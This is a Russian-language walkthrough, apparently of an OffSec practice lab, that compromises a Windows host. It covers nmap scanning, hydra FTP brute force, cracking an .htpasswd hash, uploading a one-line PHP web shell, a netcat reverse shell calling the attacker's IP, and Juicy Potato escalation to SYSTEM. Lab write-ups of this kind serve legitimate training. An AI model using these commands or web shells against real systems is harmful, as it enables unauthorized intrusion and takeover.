NMAP #
Начинаем с быстрого сканирования доступных портов на машине:
nmap -v -Pn -T4 -p- 192.168.177.46
Получив список портов повторяем скан, но уже более детально:
nmap -v -Pn -A -p 21,242,3145,3389 192.168.177.46
В глаза сразу бросаются 2 вещи FTP сервер, который позволяет залониться без пароля и что на 242 порту висит веб сервер с поддержкой PHP. Когда я вижу такую комбинацию, я сразу начинаю думать о том, а что если по FTP загрузить shell, а потом как-то выполнить его через сайт. Но не будем забегать вперед, давайте двигаться по порядку.
FTP #
Давайте изучим содержимое FTP сервера более детально.
Что мы тут видим? Мы можем скачать логи и попытаться найти в них какую либо полезную информацию. А также мы сразу видим имена 3-х пользователей, которые могут быть валидными FTP пользователями или системными.
Запишем в заметки эти логины:
Offsec
anonymous
admin
Забегая вперед, скачанные логи оказались бесполезными, поэтому двигаемся дальше к перебору пароля для найденых учеток.
Brute force FTP #
Зная логины мы можем попробовать совершить перебор паролей по словарю. Для эти целей воспользуемся утилитой hydra.
Пользователь admin звучит многообещающе, давайте сразу с него и начнем.
hydra -l admin -P /usr/share/wordlists/rockyou.txt -e nsr -f ftp://192.168.68.46
Как правило на тренажерах подобного уровня, пароли для брута ставят специально очень слабые, потому что нет цели, чтобы вы переберали пароль несколько суток.
FTP login as admin #
Так как у нас теперь есть первая учетка с паролем, то нужно попробовать залогиниться на FTP c ней.
ftp ftp://admin:[email protected]
После захода на FTP обнаруживаем 3 файла относящиеся к вебу и Apache для авторизации пользователя.
Давайте сразу их скачаем для дальнейшего исследования.
Когда мы находим, где либо какой то хеш от пароля, да еще и с логином, мы обязательно должны попробовать его взломать.
Crack the hash #
На выбор предлагаю две утилиты.
hashcat #
hashcat -m 1600 -a 0 '$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0' /usr/share/wordlists/rockyou.txt
john #
john .htpasswd --wordlist=/usr/share/wordlists/rockyou.txt
В итоге мы получаем еще одну пару логин:пароль и на данный момент имеем:
FTP admin:admin
WEB offsec:elite
Как видите пароли очень простые, как я уже говорил - это делается специально, потому что нет задачи вас мучить долгим перебором.
File uploads #
Перед тем, как двигаться дальше, давайте проверим послений момент касательно FTP, а именно можем ли мы загружать файлы под учеткой admin:admin, так как судя по содержимому .htaccess web server и ftp server смотрят в одну директорию. Если это так, то мы можем загрузить reverse shell по FTP и затем из браузера выполнить его.
Отлично! Мы можем загружать файлы под пользователем admin.
WEB #
Теперь давайте попробуем залогиниться в вебе по порту 242 с учеткой offsec:elite.
Login #
Отроем в браузере http://192.168.177.46:242 и введем offsec:elite.
После логина видим содержимое index.php, которые мы видили ранее.
И пытаемся получить содержимое файла users.txt, который мы загружали ранее для проверки возможности загрузки файлов по FTP c учеткой admin:admin.
Reverse shell #
Заливаем простейший php файл c именем cmd.php, который позволит нам запускать команды на сервере.
<?php system($_GET['cmd']); ?>
Пробуем вызвать команду whoami из браузера, http://192.168.177.46:242/cmd.php?cmd=whoami
Отлично! Мы находимся в одном шаге до получения revershe shell от пользователя livda\apache.
Далее есть множество вариантов, какой revershe shell использовать. Давайте пойдем по самому простому и быстрому пути.
Скачиваем скомпилированные бинари
Netcat for windows 32/64 bit
netcat от сюда
32-х и 64-х битные архитектуры Windows. В нашем случае нам нужна 32-х битная версия.
Сначала на нашей систему запускаем netcat на прослушивание порта.
nc -nvl -p 4444
Далее загружаем по FTP файл nc.exe и запускаем его из браузера с помощью cmd.php.
http://192.168.177.46:242/cmd.php?cmd="nc.exe 192.168.45.234 4444 -e cmd.exe"
Мы внутри! Теперь у нас есть reverse shell на машину и осталось сделать последнюю часть - это повысить привелегии. Но перед эти давайте заберем первый флаг который находится в C:\Users\apache\Desktop\local.txt.
Privileges escalation #
Давайте проверим какими привелегиями обладает пользователь apache.
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\wamp\www>whoami /priv
whoami /priv
Как видно пользователь apache имеет привелегию SeImpersonatePrivilege, что дает возможность провести атаку из семейства potato. Немного подробностей и ссылки на различные эксплоиты можно найти здесь.
Давайте сразу подготовим новый netcat listener на нашей машине.
nc -nvl -p 1337
Далее воспользуемся этим эксплоитом
Juicy Potato for x86 Windows
Как и до этого загружаем Juicy.Potato.x86.exe на машину с помощью FTP и в уже имеющемся шелле запускаем команду.
IP и IP машины будут новые, так как мне пришлось переподключаться к VPN и перезапускать целевой хост.
.\Juicy.Potato.x86.exe -l 1337 -t * -p "c:\windows\system32\cmd.exe" -a "/c C:\wamp\www\nc.exe -e cmd.exe 192.168.45.228 1337" -c "{3c6859ce-230b-48a4-be6c-932c0c202048}"
Где "{3c6859ce-230b-48a4-be6c-932c0c202048}" - это CLSID взятый от сюда для версии операционной системы на целевой машине.
После выполнения команды мы получим во второй консоли, где ранее был запущен netcat на порту 1337 шел с максимальными привелегиями.
И теперь в новом шеле мы NT AUTHORITY\SYSTEM:
Ну и заберем финальный флаг.
Conclusion #
Давайте еще раз кратко пробежимся по тому, что мы сделали:
- С помощью
nmapмы нашлиFTPсервер который пускает без пароля. - Нашли файлы в именах которых содержались логины пользователей.
- Провели перебор пароля по словарю для найденых пользователей и
FTPи нашли пароль от пользователяadmin. - Подключившись под пользователем
adminи нашли файлы.htpasswdи.htaccess. - Взломали хеш от пароля для пользователя
offsec, который хранился в.htpasswd. - Далее смогли авторизоваться в вебе на порту
242под пользователемoffsec. - Поняли, что веб сервер и фтп сервер смотрят в одну директорию при логине под пользователем
admin. А значит мы получили возможность загрузить php шелл и выполнить его. - С помощью
phpиnc.exeполучилиreverse shellот пользователяapache. - Выяснили, что пользователь
apacheимеет привелегиюSeImpersonatePrivilege, а значит можно провести атакуJuciy Potato. - Выполнив
exploitполучили новый шел, но уже с правамиNT AUTHORITY\SYSTEM.
Подписывайтесь на мой Telegram канал Breach_Zone и твиттер Breach_Zone!